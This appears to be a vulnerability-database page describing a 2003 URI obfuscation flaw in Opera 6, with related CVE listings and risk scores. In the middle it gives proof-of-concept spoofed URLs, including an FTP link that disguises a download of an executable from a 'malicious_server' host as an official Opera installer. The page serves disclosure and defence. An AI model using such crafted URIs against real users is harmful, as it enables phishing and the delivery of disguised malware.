Opera Browser 6.0 6 - URI Display Obfuscation
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | Internet Explorer URL Spoofing (CVE-2003-1025) | 15 Nov 200900:00 | – | checkpoint_advisories |
 | CVE-2003-1025 | 6 Jan 200405:00 | – | cve |
 | CVE-2003-1025 | 6 Jan 200405:00 | – | cvelist |
 | Microsoft Internet Explorer 5/6 / Mozilla 1.2.1 - URI Display Obfuscation (1) | 9 Dec 200300:00 | – | exploitdb |
| Microsoft Internet Explorer 5/6 / Mozilla 1.2.1 - URI Display Obfuscation (2) | 9 Dec 200300:00 | – | exploitdb |
 | CVE-2003-1025 | 20 Jan 200405:00 | – | nvd |
 | IE 5.01 5.5 6.0 Cumulative patch (890923) | 3 Nov 200500:00 | – | openvas |
| Microsoft Internet Explorer 5.01, 5.5, 6.0 Cumulative Patch (890923, MS05-020) | 3 Nov 200500:00 | – | openvas |
 | Design/Logic Flaw | 29 Oct 200815:31 | – | prion |
 | Microsoft Security Bulletin MS04-004 | 3 Feb 200400:00 | – | securityvulns |
10
source: https://www.securityfocus.com/bid/9281/info
A weakness has been reported in Opera that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI that is designed to access a specific location with a supplied username, contains a specially crafted sequence of characters. These characters will be interpreted as a NULL due to UTF-8 encoding. This sequence may be placed as part of the username value prior to the @ symbol in the malicious URI to aid in obfuscating the URI for a visited page.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
http://www.example.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%[email protected]/
http://www.example.com/fake_path/fake_filename.html
ftp://ftp.example.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32enen723.exe
ftp://ftp.example.com/pub/opera/win/723/en/std/ow32enen723.exeData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Dec 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.26912